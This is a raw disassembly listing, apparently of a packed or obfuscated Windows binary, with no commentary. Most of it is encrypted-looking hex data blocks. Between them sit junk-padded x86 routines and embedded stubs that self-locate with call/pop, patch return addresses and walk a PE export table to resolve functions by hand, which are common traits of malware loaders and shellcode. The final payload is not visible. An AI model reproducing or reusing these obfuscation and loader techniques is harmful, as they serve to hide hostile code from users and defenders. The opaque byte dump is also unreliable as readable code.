		dd 0B38C9D5Ah, 5FCC01A9h, 34A4E590h, 0B5210FA4h, 9AD9A13Fh
		dd 0E7EA810Fh, 65A928CCh, 3D9CF416h, 94DB3FDFh,	9BB4640Dh
		dd 4B779956h, 9CF71F9Bh, 3C6313FFh, 25000000h, 10801653h
		dd 289EF69Bh, 0B52734A9h, 7855CC7Ah, 5F6B90F9h,	0AC71E3BCh
		dd 5F1E829h, 55D1A696h,	92336199h, 44BAF7Bh, 2685619Dh
		dd 3EA569A7h, 6B7581h, 0AEE514h, 4FBB0000h, 36E8858h, 0DCA5C105h
		dd 90F115C5h, 0AA31A979h, 0A13F8951h, 0AB33DF36h, 0B123EF26h
		dd 0B52CF410h, 0F1E77C41h, 0A0D548E3h, 0A4B7A928h, 0FF42873Eh
		dd 565EC874h, 32738099h, 6DF1519Eh, 11AB911Ah, 6C6F9956h
		dd 9653323h, 0BFA4C612h, 4EE5637Eh, 0A1416713h,	0D7766A69h
		dd 0CC8D15B9h, 0B1750ECEh, 0B02E01A6h, 1BE0F96h, 9BF30000h
		dd 0A5E2574Fh, 0BFD87961h, 0CFCA8F17h, 0E03E930Bh, 2608A63Ch
		dd 12884C4Ah, 21B965BFh, 36AC7490h, 465C8C83h, 0AC901BE9h
		dd 6CA92E24h, 514F8F29h, 5A95158Dh, 1D56F5DAh, 0A5148FAFh
		dd 9024A26Eh, 10801653h, 289EF69Bh, 0B52734A9h,	0CAD1F914h
		dd 6ADD4F4Ch, 0FAAE9956h, 7E98405Bh, 52B46A71h,	0FFD2B0C4h
		dd 0BBD813h, 4FFC0000h,	36E8858h, 0F6A5C105h, 0A13F8915h
		dd 42868243h, 71A1F847h, 61A5E263h, 4FC3DE05h, 2347938Ah
		dd 9AF10542h, 109B094Eh, 0A928A11Dh, 3CFC687h, 85B7F8E7h
		dd 7126310Fh, 98DB21B8h, 86524908h, 992E871Bh, 0D9349507h
		dd 911AAA31h, 0A1422A7Dh, 8F4E4291h, 0E4554D91h, 979D66A6h
		dd 0E62E0168h, 0EA3DD8h, 0C7DF0000h, 0D1CE831Bh, 0EB24950Dh
		dd 0FB16BB23h, 0C0ACFD7h, 0FA64D2C8h, 4E547896h, 5D45918Bh
		dd 6278A0FCh, 7268B8EFh, 80AC47C5h, 38A92E25h, 514FD37Dh
		dd 595158Dh, 3F84C26Eh,	8795A1A1h, 3F066F09h, 0BC1B86D5h
		dd 0C827B565h, 0DD52A3CEh, 0C65C4703h, 88584F76h, 0DC0C036Eh
		dd 8C8342C6h, 84B8640Fh, 6370A13Fh, 0BF04A722h,	802BBB29h
		dd 0A13F849Ch, 4841F5Ch, 2E18C66Fh, 6D7F7CA9h, 0F0EA56DDh
		dd 5DD69950h, 9950F0EFh, 3340A8ABh, 0C036EA8h, 0C363CCDCh
		dd 0DCE77750h, 0BCE445Fh, 0F5A2C414h, 0F3F252BAh, 0AA02E41Eh
		dd 0A709AB73h, 825710DDh, 9DF4455Dh, 4D48294Dh,	1268ACE7h
		dd 55CEA68Fh, 0A04B599Eh, 3EB0387Ch, 9CFE3F3Ch,	60BC2A54h
		dd 50E1F929h, 0E08DE939h, 0Ch, 86FC7FB0h, 0D1E48F6Eh, 2E8A0ECAh
		dd 6F8B574Fh, 0BBDF0B02h, 0F416BAD6h, 4FAB73ADh, 86E02462h
		dd 0DD39DD3Bh, 157199F4h, 6F8B534Ch, 0A5C10502h, 0E28952B7h
		dd 4C281h, 0BB530000h, 4, 875BDA29h
		db 14h,	24h, 5Ch
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edx
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], ebx
		push	ebx
		push	ecx
		mov	ecx, 28301876h
		mov	ebx, ecx
		pop	ecx
		sub	ebx, 20418379h
		mov	edx, ebx
		pop	ebx
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ebx
		push	ecx
		mov	ecx, 8
		add	ecx, ebx
		mov	[ecx], edx
		mov	ecx, [esp]
		add	esp, 4
		mov	ebx, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	edx, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_5990C8
; ---------------------------------------------------------------------------
		dd 0F307194Ch, 5EBDA5FDh, 0EEA29FB8h, 0FFC50307h, 0E928E7E0h
		dd 4B63ED04h, 0E80AEA3Ah, 0BB40379h, 0B1B7D533h, 7B2DB54Bh
		dd 8E033B2Fh, 896A6033h, 0CD93CA2Fh, 0C3E3B466h, 5A16C37Ch
		dd 9867C540h, 0EC573F73h, 0B51F896Ah, 9D201455h, 1AF5A01h
		dd 0B06C6B63h, 4B72D46h, 70BC1C1Dh, 91777A42h, 490F724h
		dd 0F9813F59h, 985DCB26h, 119D8D0Dh, 0B807E915h, 0CEh
		dd 1598589h, 0E807E9h, 58000000h, 0D05h, 0E9038900h, 0CEh
		dd 33h dup(76F20000h), 0DE8FFFFh, 2B000000h, 0BA805F72h
		dd 0CFBB5B6Ah, 386A9907h, 10E951h, 0F7A70000h, 0F3265962h
		dd 840072D2h, 498819F7h, 585F6326h, 0EE816057h,	632CBBB9h
		dd 830Fh, 5A610000h, 605BC081h,	8B660000h, 17E1BEF8h, 8B660000h
		dd 8030FFF8h, 565B41CDh, 11E9h,	91062B00h, 6E0254E8h, 3B633D32h
		dd 9FF97FC6h, 8159A6E6h, 0B29E53F3h, 16D68000h,	0B4E6EB81h
		dd 0AEBA3882h, 814705C6h, 8E3912C3h, 0BA66537Dh, 8F0D73h
		dd 0E881D08Bh, 384A4E2Ah, 81D1B70Fh, 4A4E26C0h,	81CB8B38h
		dd 1EEh, 23850F00h, 0E9000000h,	9, 0E60CE044h, 13423245h
		dd 24E917h, 89250000h, 2CEA8CB2h, 88E52EA7h, 0CF176445h
		dd 0B70F3423h, 0FF77E9CFh, 0EA99FFFFh, 0E4D9DE77h, 4AEECC25h
		dd 8D8DF184h, 7EEA63Eh,	3BCE8166h, 0D8D890Eh, 8907E932h
		dd 0E919ED8Dh, 0D9BD2307h, 0C707E91Eh, 0E922E585h, 67C007h
		dd 51006A00h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1604h
		dd 0C3514100h, 0C7CB1D1Eh, 0E922B185h, 7
		db 0, 6Ah
word_5DE38E	dw 5600h		; DATA XREF: sdfs____:0058F57Co
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1B04h, 0C3564600h
		dd 0EF81AD44h, 4B9ACCF1h, 35199D89h, 0B5FF07E9h, 7E93151h
		dd 20C99D33h, 95FF07E9h, 7E92285h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 1Bh, 0A2C35040h,	0E44BFF71h, 235CECBFh
		dd 0E9161995h, 0FF006A07h, 0E90C3195h, 0EBC08B07h, 0DC49548h
		dd 2D5C6603h, 66581237h, 947002Bh, 0F66EDE32h, 3C699259h
		dd 9F3DF62Ah, 6B9B33DAh, 0DB25CD8Ch, 46F9E4BDh,	5EBC9CEEh
		dd 0BB5662A2h, 0D7FCCA38h, 0ECED296Dh, 0D43DBD6Ah, 0F917793h
		dd 294055B7h, 9821B3Ah,	60EB27h, 17h dup(0)
		dd 0E9000000h, 0B2Ah, 0B1EE9h, 0AEBB6800h, 0C3E907EEh
		dd 68FFFAD4h, 7EEB017h,	0FAD4B9E9h, 0B07768FFh,	0AFE907EEh
		dd 5FFFFAD4h, 8731BCBCh, 0C8640973h, 7FD95426h,	0AC08A527h
		dd 0EA42F389h, 0ACC86D4Dh, 0FE7E9701h, 4A32C577h, 91E309ABh
		dd 722F7B1Ch, 286E1E32h, 4AFAA8E2h, 2305D95Bh, 9B1A9A8Bh
		dd 0C3571339h, 0C95F65B9h, 0C6B65975h, 0C143527Eh, 0B8BC517Dh
		dd 0B0C56864h, 0D51B1F32h, 6DB147FFh, 15678B53h, 2BA9F9DDh
		dd 5CDC3591h, 5C736525h, 67F5AF30h, 8D49578Bh, 0F1250D6Fh
		dd 0C7C11D5Fh, 0EF8DA12Dh, 9C1C8D17h, 74305C72h, 42D6C22Eh
		dd 611E438h, 7F8A0791h,	6D384ECBh, 0C0284CE1h, 68F4861Ch
		dd 643FB6C4h, 33CD5FCEh, 3BF781ABh, 6DCC464Ah, 3E993428h
		dd 4D1CE3AFh, 742ED21Eh, 6C0E2CA8h, 0DC7841C1h,	9BB746C4h
		dd 0DC51728Ah, 2FCDE941h, 90329F4Dh, 47C5DC78h,	0A83F36EBh
		dd 346D871Eh, 2AC34151h, 6F20F20h, 69036384h, 5CC57838h
		dd 2E0A9830h, 0D4535D9Ch, 5E93B930h, 37000000h,	0BD33A4B3h
		dd 0C5890978h, 198B305Ch, 4830C78Fh, 0EE7822E0h, 0C55D5D54h
		dd 0EDB7305Ch, 0C566265Bh, 0F4AE305Ch, 0EE788E3Ch, 5CC4F3B3h
		dd 0C7871D30h, 0E9FB4B35h, 0FF819501h, 5CC50282h, 4537DA30h
		dd 62225F49h, 0B2305CC5h, 3ACC62F0h, 115D04A3h,	7CB4745Eh
		dd 51DB774Eh, 3Dh, 33A4B3F1h, 57EE78BDh, 0CADAD322h, 0DB0EBD48h
		dd 9864163Ah, 0CDBC740Ah, 305CBFCDh, 7EFE11BDh,	178A1CA6h
		dd 305CBF97h, 15CF2B79h, 3999D490h, 0B34171D3h,	4ACA783Dh
		dd 7766D4A6h, 39DC78DBh, 3F3AF743h, 0D841EA8h, 305CC58Dh
		dd 19881D87h, 0D02A2E65h, 0EBA600E8h, 37B4F864h, 8CEE0CC8h
		dd 1AC632B0h, 932AB488h, 0FDE4CD31h, 8445AD09h,	2872F328h
		dd 68824ADCh, 1FBE220Eh, 1AB202C2h, 18C7C8Ch, 0FA620000h
		dd 0CEDB2B55h, 24342C2Fh, 8860F678h, 30A7B33Ah,	0C4A3EBA6h
		dd 0FD97305Ch, 5CC50484h, 5A960C30h, 0A410ECB6h, 0F949E496h
		dd 60D6A04Ah, 0DC789032h, 3BF64238h, 6335AB3Ch,	0D4535D27h
		dd 7CD8B930h, 0F70AA3D9h, 0BE8F04ADh, 421E539Fh, 0A4000000h
		dd 9933A4B3h, 9D611B3Dh, 0C50E8E03h, 9C06305Ch,	78E0220Eh
		dd 859557EEh, 0CBBDDB78h, 801E9E6Fh, 0ACF6305Ch, 4ACA783Eh
		dd 7866D4A6h, 0E03C3EDCh, 72CCA7E5h, 0A230B022h, 51F35F56h
		dd 2Dh,	66EE78F1h, 485AAAD4h, 5CC55959h, 1E9BB30h, 9C52C56Ch
		dd 0C5890978h, 2BBD305Ch, 5CC53676h, 36C4DE30h,	4ACA7880h
		dd 7766D4A6h, 0B3EE78DBh, 305CC4F3h, 0F6AB871Dh, 265BED7Ch
		dd 305CC55Ah, 4768440h,	8262402Ch, 346C2436h, 0C6546EB6h
		dd 0F684A834h, 4A13B73Ah, 3260D6A0h, 33A4B390h,	39DC78BDh
		dd 9E1E343h, 0DC783E84h, 0E5FF47C5h, 42AECE61h,	30D46F41h
		dd 0F218C4B9h, 3D75A880h, 4D000000h, 0BD33A4B3h, 4339DC78h
		dd 0FF67F1F7h, 0C4DE26A6h, 0C51D9D6Ch, 0A9F7305Ch, 277F52Dh
		dd 305CC582h, 0CC821092h, 0A64ACA78h, 0DB7766D4h, 3F51h
		dd 463BD500h, 305CC546h, 0AE1CD4CEh, 0BD33A4B3h, 5D54EE78h
		dd 305CC55Dh, 4405EDB7h, 305CC544h, 8A52E4FAh, 0EDDF1B65h
		dd 0DC78CA78h, 0CEEA46C4h, 5D5D542Ah, 0B7305CC5h, 0BB49CBDBh
		dd 0DB77B725h, 0CE51h, 0A7B3F100h, 0A3EBA630h, 6D305CC4h
		dd 49E3EF37h, 4A3C862Fh, 8FCCD1A0h, 0C4185AF0h,	28702FBEh
		dd 451E2BC2h, 0D7B14D2Fh, 90329341h, 4238DC78h,	0AB3C3BF6h
		dd 0DBA1B511h, 2763AD1Fh, 30D4535Dh, 0DA7CD8B9h, 0EA465CA0h
		dd 53B7h, 0A4B31300h, 6D79D834h, 2A2A326Fh, 49E1FFECh
		dd 19CF5DF3h, 403ADC78h, 34087284h, 2D6442AEh, 305CC56Dh
		dd 784FFDA7h, 0B3EE78CAh, 305CC4F3h, 0FAB871Dh,	6E0791EBh
		dd 3ED1D1D3h, 49DCE63Eh, 9AE32A5Eh, 844F93FBh, 0CDFF3BC9h
		dd 3051DB77h, 0F1000000h, 0BD33A4B3h, 0D166EE78h, 72007499h
		dd 0C4C7C786h, 19B3305Ch, 0AFE29ABDh, 305CC4EFh, 0E834B8E9h
		dd 0E8BADAh, 78E6546Ah,	0D4A64ACAh, 4ADB7766h, 420ED6A0h
		dd 0C422D3ADh, 0BF87F518h, 0E09C9025h, 0AB3EA971h, 0B7C16B4Fh
		dd 63F5516Fh, 6E30D119h, 31305CB5h, 3044E975h, 0F61AD6ECh
		dd 0F97F9D57h, 5CB50888h, 49A0830h, 532DCF69h, 37962FB9h
		dd 4B384C49h, 3447473Ah, 0DBC9305Ch, 0E49C5742h, 0D0183A0Eh
		dd 46EA459Ch, 22A0F05Ch, 0C103AAD6h, 0F1A4492Bh, 0FF67F166h
		dd 0C0C2225Ah, 3C037E68h, 5A37B4CFh, 0B10DF448h, 572872D0h
		dd 0EFD102ABh, 0F8C1AD4h, 12h, 0D6A04A5Bh, 0C517970Eh
		dd 6A6A305Ch, 89EB01C3h, 0A04A5EE4h, 0B8BB0ED6h, 0C5E49D2Fh
		dd 4D384F1Dh, 1EAC3061h, 0C651DC97h, 0FBF67D34h, 309C2FC6h
		dd 18363E1h, 0D6F29373h, 8A2084FBh, 0CA3AE786h,	249408A8h
		dd 2Fh,	30A7B3BEh, 65E73EA6h, 36661B8Dh, 0FE305CC5h, 727B12A4h
		dd 0F08C5B5Bh, 611B3E9Eh, 0BD2B079Dh, 0F07DFF11h, 324CEE76h
		dd 17C9C6h, 0B3190000h,	0EBA630A7h, 305CC49Fh, 3D993371h
		dd 52CC611Bh, 0DC14668Ah, 17ED78EEh, 25D022D5h,	9D399662h
		dd 49000001h, 8331A6B3h, 0A04A9032h, 0ECA944D6h, 0ADEB31A7h
		dd 63038169h, 0D4535D27h, 4393B930h, 13000000h,	5CC94F7Ah
		dd 41EB0D3Dh, 7B49A137h, 4238DC78h, 5508E0E2h, 78994FDCh
		dd 5CC58909h, 0A2F8B30h, 824ADC72h, 0EBD91193h,	0DC78CA78h
		dd 71AA4339h, 0FDA2C614h, 0BA5C78B0h, 0DB7712C0h, 3D51h
		dd 0A6B3F100h, 9788331h, 305CC589h, 0EAAAE771h,	0D3305CC4h
		dd 0B75D7DB8h, 7B296513h, 71E7E5BFh, 0DC78CA78h, 0E4FE46C4h
		dd 0C286A80Ch, 0AAD466D2h, 23BA485Ah, 0E19B1F92h, 2F9D33BBh
		dd 0A04ADB77h, 0DC7860D6h, 0D7AB4238h, 8E6D66E2h, 0BB9F53Dh
		dd 9933A4B3h, 0CF1ECE0Ch, 935F51D5h, 3ADC7831h,	0AE6FC40h
		dd 535D0387h, 0D8B930D4h, 0ED7F684Dh, 1FDB59D9h, 6BC2h
		dd 0DC78E000h, 0E2E03C3Eh, 4BDC5B16h, 0B3EE7895h, 305CC4F3h
		dd 0BCF5871Dh, 305CC4FCh, 44A28E14h, 216110AAh,	0F3305CC5h
		dd 88879B1h, 8305CC5h, 0CA78249Ah, 5F11ED78h, 646ABA24h
		dd 7604288Ch, 1ECD49E4h, 3CAB5250h, 0FF77D6F4h,	60CAB366h
		dd 0F743DB73h, 0C7ED78D5h, 334DE3B8h, 1CEFF89Ah, 20A282F8h
		dd 3469A692h, 0B9000000h, 0BD33A4B3h, 0C5890978h, 0E771305Ch
		dd 2314164Eh, 0ADDC6952h, 305BD3EDh, 5E36B6EFh,	0B036EC44h
		dd 95158C26h, 7F305BD3h, 78FFCD25h, 0D4A64ACAh,	4ADB7766h
		dd 9A0BDBA5h, 305CC53Fh, 0DF27C6CAh, 339BE577h,	0FD875F19h
		dd 386E8135h, 0B996517h, 72D25243h, 0F753E270h,	0AEDCA54Ah
		dd 0E3456F62h, 0A72FB94Fh, 0D20EEA92h, 0D72F51E6h, 0ABEB8204h
		dd 20B27219h, 852448A0h, 21CCAC43h, 394728C5h, 0A30893C8h
		dd 0EA5BB657h, 36A5305Bh, 8431B6C9h, 0FFFE2729h, 439FB9FFh
		dd 0F0305CC5h, 305CC354h, 5CC3C0C1h, 0F71DA830h, 0EEB3222Ch
		dd 0FEDAAB87h, 0CC305C7Ch, 0A6921000h, 5C7D0BA7h, 7D9C3830h
		dd 8AA5F05Ch, 1CF28B1Dh, 61C9F1E7h, 0C11D5FFDh,	0E3C52DC3h
		dd 0B0E6BC49h, 8C568277h, 1C06A5A4h, 960C77B0h,	0EF78FB4Eh
		dd 572AC35Dh, 63BBE484h, 0B7FE8F6Bh, 5F6FC8ADh,	933DAC45h
		dd 0C71FFC34h, 29C90h, 1A5AF100h, 6715399Bh, 0B2CC62CEh
		dd 3819103h, 4933C672h,	87F334A4h, 0C96B0A72h, 7FD954D8h
		dd 0A30DA0D8h, 2146EF89h, 178C0C85h, 7684286Eh
		dd 0D6A04A10h, 40D4700Eh, 10D8EA3Ah, 0B345D25Dh, 0D79BBD19h
		dd 0DCE63EBEh, 0B9E8F64Eh, 305CC4F9h, 3FFB891Bh, 4F1E134Eh
		dd 7701A338h, 6353B6DEh, 65CD28C3h, 2CDE998h, 39D286Eh
		dd 6E030E8Eh, 549C0628h, 7F099E99h, 605BFB02h, 0D365E130h
		dd 79D41A9h, 5041DB75h,	207F5D50h, 0A216E2C0h, 0D547EE88h
		dd 93ED0347h, 0B2E36BFDh, 18D0D232h, 0FC12BAC4h, 0D3D7B682h
		dd 0C207F5Ch, 4AE476E1h, 5CC1C1B0h, 5153207Fh, 0CA1A62F5h
		dd 2E9170B8h, 0E42871B6h, 0CA922CBEh, 0F88A5A24h, 63C3B95Ch
		dd 0F2D8961h, 5041DB6Dh, 1890B650h, 8B16E2C0h, 9010811Bh
		dd 481890B5h, 0E6BCD0A2h, 0C48CAE0Ah, 6EB64436h, 0E839989Bh
		dd 4D44D664h, 20830E6Eh, 7C47C75Eh, 0B95EB9CEh,	0CF178D71h
		dd 0DE68FF7Ah, 951658A3h, 52E4BE18h, 9F16608Ah,	815D1F3Dh
		dd 0B3FCC4E0h, 41D25D08h, 0B3FD5050h, 4CE2C008h, 558CC7BAh
		dd 782A10A6h, 0A82E66EEh, 0C555B9F9h, 0BB495B00h, 0C36E237Fh
		dd 94CFC254h, 22081E35h, 0B70E980h, 9C500462h, 1402Bh
		dd 0BEBE5D00h, 0B718537h, 5628CE6Ah, 0A7257DDFh, 0ED8FA20Eh
		dd 634FE840h, 9507AECEh, 0DB75F87Ch, 0FA94434h,	7DE293EDh
		dd 15307021h, 0AAE0286Eh, 37A0B3F4h, 1D71ECA5h,	21BB384Fh
		dd 6E1E3070h, 76C2E028h, 75F72E8Ah, 0AF4A1FE7h,	20F3AE38h
		dd 962FC71Dh, 2D1A650Ch, 2A3A3C35h, 0E0B5h, 5E1E3D00h
		dd 0ABD165D7h, 0F688AE0Ah, 47C5DD7Fh, 8DEF02AEh, 0C3AF88E0h
		dd 75A74E2Eh, 0BB15981Ch, 0EF49E494h, 0DD82334Dh, 14D0D0C1h
		dd 0A40286Eh, 30A0B354h, 0D61C733Bh, 18B24059h,	4F1A4669h
		dd 8AAE3638h, 4E5438F0h, 4630DAF6h, 8DEF0DAFh, 0E671FCB1h
		dd 1A988854h, 52D9C8DEh, 3A306072h, 0F4EF21A3h,	2CA4FF8h
		dd 0BBA793EDh, 44E844E9h, 0FD931100h, 0E0A0D16Bh, 30207F9Ch
		dd 993B8672h, 0CC680577h, 7DDF56D4h, 95119CD8h,	225FD9C9h
		dd 207F9D62h, 9662F0B2h, 0DB6D0F22h, 9D505041h,	0E2C0207Fh
		dd 0F8298B16h, 0B85FF974h, 69832DC0h, 0DBCA660Fh, 9681D459h
		dd 0DADE7701h, 0F121BFF4h, 0B0E1C733h, 2871F269h, 9D2BFBA9h
		dd 0F30E8E03h, 9C061890h, 0A8CA6054h, 3B005h, 54D20000h
		dd 0D7A14AF6h, 0CFA9430Fh, 0C4B45B77h, 0C7455C78h, 0BEBE537Fh
		dd 0B5C76A66h, 0B7356D69h, 0B3CD636Fh, 0A9D36753h, 54555E55h
		dd 4C5815Dh, 83000000h,	2C8704EDh, 89505C24h, 405E0h, 0E8830000h
		dd 24048704h, 2404895Ch, 81E78957h, 4C7h, 4EF8100h, 87000000h
		dd 895C243Ch, 6851242Ch, 781C139Ah, 8FF18159h, 897FF2B4h
		dd 0EC8359C8h, 24248904h, 4240481h, 5D000000h, 89C38953h
		dd 1C8B085Dh, 4C48324h,	51242C8Bh, 0C181E189h, 4, 4C181h
		dd 0C870000h, 48B5C24h,	0E2895224h, 4C281h, 0C2810000h
		dd 4, 5C241487h, 0FAC9B5E9h, 0ABF236FFh, 0B8B8C562h, 7EEB17Ch
		dd 0C38BC503h, 0E0E9h, 0B8F0F00h, 0E9000000h, 6, 0D9CF4D49h
		dd 0B58D343Bh, 7EEB257h, 89858DF8h, 0F807EC77h,	0C3FCD0FFh
		dd 0CB8B6660h, 5E8h, 0BCE37A00h, 5FF92DD7h, 0D98C6661h
		dd 0EE9h, 0B1FD6700h, 5CE07409h, 0A879C07h, 0F66D05FBh
		dd 840F04C1h, 65h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 16h, 8EC35747h, 0F604D8Bh,	282h, 0B9616000h
		dd 1F5B8D20h, 8BFB8B61h, 0AEC032CBh, 0CF2BFD75h, 0F92BD9F7h
		dd 8B49D78Bh, 0CD00EBD9h, 1013F20h, 74C00B00h, 0C708D18h
		dd 0CB8BFA8Bh, 490A75A6h, 1B8FA75h, 0EB000000h,	0EB008B09h
		dd 0B8E4h, 60CF0000h, 73D08166h, 5FF55156h, 128C0F61h
		dd 0E9000000h, 0Dh, 2156A81Bh, 1C6F2DE4h, 0C702EF3Ch, 0BB85C7E9h
		dd 3F07EEB2h, 48000101h, 241C7B11h, 99285FBDh, 0B1F11D61h
		dd 0A050973h, 0DC797537h, 0C5FFA472h, 7982E787h, 74309987h
		dd 0A2D209F3h, 6B1E0D07h, 9D2BCD8Ah, 0BF3FA530h, 1D30A419h
		dd 0E7D12551h, 44764D7Dh, 0A35AA437h, 0D1334C60h, 0B710A437h
		dd 8B9FBF4h, 7EB1A013h,	1D26A013h, 0D977A437h, 239355F4h
		dd 908FC264h, 6CB3FE4Ch, 0EFD9B222h, 24B4AB37h,	5030A437h
		dd 1ED8F537h, 0AE30A437h, 0CE69676Eh, 2234807Bh, 0C5348073h
		dd 0A930A437h, 9CEC6766h, 3A30A432h, 71B4B314h,	0A71A1DD6h
		dd 0AE6EE870h, 0A330A6D3h, 0B1FA2F51h, 0E830B5DFh, 27199F37h
		dd 66CE36Ah, 67E88998h,	8C43A88Ch, 1DC99D14h, 2E51E081h
		dd 3F8389B2h, 3E8AC230h, 0B5B1C2D1h, 5C609341h,	947C2288h
		dd 9FD98033h, 6230A437h, 9FBAED63h, 31B4FFEAh, 90DB2D7Bh
		dd 397D2342h, 893F21BAh, 0FD9A3D9h, 9730A437h, 319E9D21h
		dd 2A896FCh, 6825AD17h,	0F7DBE22Bh, 74B0AB9Ch, 6A30A437h
		dd 1D30AADFh, 1B3BC937h, 0E5A5F5D3h, 60F6E310h,	81764F68h
		dd 0B66EFD64h, 1E14A0BEh, 39D8F137h, 3D30A437h,	76D676Ah
		dd 0C634805Bh, 0BE348073h, 9430A437h, 0AB1E6762h, 5CDEBE61h
		dd 2E14B56h, 0AD131C8h,	8E5AA3DEh, 47334C62h, 0FE10A437h
		dd 0BDB9F9F4h, 0ACB1A013h, 7424A013h, 6F75A437h, 0DAB1F5F4h
		dd 0BC1439ABh, 475A64BCh, 0A3334C65h, 8B10A437h, 0BCB9FEF4h
		dd 30B1A013h, 3A2AA013h, 4F72A437h, 0D970E7F4h,	0C9B21AF4h
		dd 0BB9519B4h, 0A430A3DEh, 0AD8D273Eh, 74374D2Dh, 6960BD43h
		dd 678864BCh, 730A433h,	0AE215DB2h, 6DAD2930h, 2E374FE0h
		dd 6B68FFE4h, 9D2AE18Ah, 2D44A430h, 6788F767h, 730A433h
		dd 0AE215DB2h, 1EAD2930h, 2E374FE3h, 8E68FFE4h,	1EFD7C89h
		dd 39D8F137h, 3D30A437h, 76D676Ah, 0C634805Bh, 0B5348073h
		dd 9430A437h, 3FFD6762h, 1AE625C3h, 0B115D39Eh,	1EBDABF7h
		dd 0DD30A437h, 0DABDFECFh, 0A4DE1720h, 630421BAh, 6956A3D9h
		dd 7BA0A5E9h, 0EACF6A88h, 0BC291E51h, 8E322538h, 0B6BBA437h
		dd 273F643Ch, 0D130A413h, 0E8332638h, 0FF56A437h, 60AD29C0h
		dd 0F4374D7Ah, 8E30A431h, 0FE66D4D6h, 0A088CD28h, 2E30A437h
		dd 16BBC2D4h, 0C72F39BAh, 0BF3FA3D9h, 1D30A435h, 0BBD6BBCh
		dd 40DE1603h, 4B62A45Dh, 0D130A434h, 0B2F3FE17h, 7014F0BEh
		dd 3E14E0B6h, 1D30A421h, 90F3F675h, 0CE3F2F3Eh,	0A330A435h
		dd 1CFEA81h, 61A45Dh, 7430A434h, 63F3FD17h, 1914E8BEh
		dd 8A14E0B6h, 4730A42Fh, 0E2F3F576h, 937135A6h,	977F1B51h
		dd 0AB421A51h, 0BE3F643Ch, 1D30A464h, 8E30A2DFh, 0B9223137h
		dd 0F94C5C8Dh, 9C6A39BAh, 6B0A3DEh, 74311C05h, 0B23FA437h
		dd 1D30A425h, 8E30A9DEh, 9D65D537h, 0F4EBA346h,	0B1566B03h
		dd 0BCF8078h, 9C60A45Dh, 3A30A434h, 45F3FC17h, 8A14E0BEh
		dd 4314E0B6h, 0A330A421h, 0F7F3F477h, 65C55A53h, 9A8380AAh
		dd 0F287AB30h, 0AF0421BAh, 84D8A3D9h, 0D930A437h, 6EB482D7h
		dd 0A5E0563Ah, 5256FB0Eh, 0A4CF452Eh, 0BE3F643Ch, 1D30A407h
		dd 0CF1E45B6h, 0DABDC457h, 0A4D9E96Dh, 39CA2F51h, 0E830A43Dh
		dd 0F0860C4Ch, 0A2A8B7EAh, 0E5BBF7D0h, 8E331C69h, 80B1A437h
		dd 0EA6800CEh, 28BB47C8h, 0E8394C74h, 5D2DA437h, 0C171CC0Ah
		dd 0F44CA5DDh, 8E30A426h, 0B948EA8Bh, 5A76EEF7h, 0DC2A9BF7h
		dd 62374EBEh, 0C9BDFDBDh, 3DDE173Ah, 0ABE429BAh, 0F388A3D9h
		dd 74BAEF6Bh, 4A2CFDB2h, 0BAFF8F30h, 0D9C72F39h, 35BF3FA3h
		dd 0BC1D30A4h, 30BBD6Bh, 5D40DE16h, 344B62A4h
		dd 0E98330A4h, 8BA4F305h, 10E8C0h, 0D6990000h, 0E36FFA77h
		dd 0F4C9B7E3h, 0E469EA73h, 0EEBA1CF5h, 5E3E7C62h, 0C38B58B5h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 0C6C35545h
		dd 0DDCB47D2h, 0C08B7900h, 18A5BD83h, 750007E9h, 45BD8309h
		dd 7E91Ah, 53501974h, 7AB8C08Bh, 89000004h, 0E920F585h
		dd 359D8D07h, 0FF07EBD8h, 83585BD3h, 0E91A45BDh, 17740007h
		dd 7AB85350h, 89000004h, 0E920F585h, 0D69D8D07h, 0FF07EBD4h
		dd 6A585BD3h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1D042444h, 46000000h, 7090C356h, 0C6D9A02Fh,	58729AFDh
		dd 8AD78B66h, 0E9C08BF1h, 266h,	0D98C6660h, 0F04C1F6h
		dd 3584h, 0FF016A00h, 0E92669B5h, 0DB858D07h, 0FF07EC9Fh
		dd 0E58589D0h, 8B07E912h, 0CEFC1FEh, 6000068h, 6A006A20h
		dd 0D685702h, 0FF000100h, 0E912E595h, 32E907h, 85C60000h
		dd 7E92659h, 30DF6856h,	0B5FFA9C5h, 7E90B11h, 9FDB858Dh
		dd 0D0FF07ECh, 1B2D8589h, 858D07E9h, 7E92589h, 6A406A50h
		dd 95FF5605h, 7E91B2Dh,	0C361h,	2 dup(0)
		dd 8B520000h, 428B60D4h, 30858908h, 8B07EEB8h, 85890C42h
		dd 7EEB828h, 8910428Bh,	0EEB82C85h, 66B58D07h, 8D07EEB8h
		dd 5B8EA185h, 61D0FF00h, 0CC25Ah, 0B830B58Bh, 858B07EEh
		dd 7EEB828h, 0B82CBD83h, 0F0007EEh, 784h, 0E9068900h, 2
		dd 0CF0688h, 0
		dd 52000000h, 8B60D48Bh, 85890842h, 7EEB830h, 0B8B7B58Dh
		dd 858D07EEh, 5B8EA1h, 5A61D0FFh, 0B830858Bh, 4C207EEh
		dd 30858B00h, 8B07EEB8h, 30858900h, 0CF07EEB8h,	0
		dd 8DB58960h, 8907EEB8h, 0EEB88985h, 59858D07h,	8B07E92Dh
		dd 85894440h, 7EEB8C6h,	0B8FCB58Dh, 858D07EEh, 5B8EA1h
		dd 8B61D0FFh, 0EEB88D85h, 9D8BC307h, 7EEB889h, 3C43B70Fh
		dd 5B8BD803h, 899D0378h, 8B07EEB8h, 0B5032473h,	7EEB889h
		dd 207B8B56h, 31C738Bh,	0EEB889BDh, 89B50307h, 0FC07EEB8h
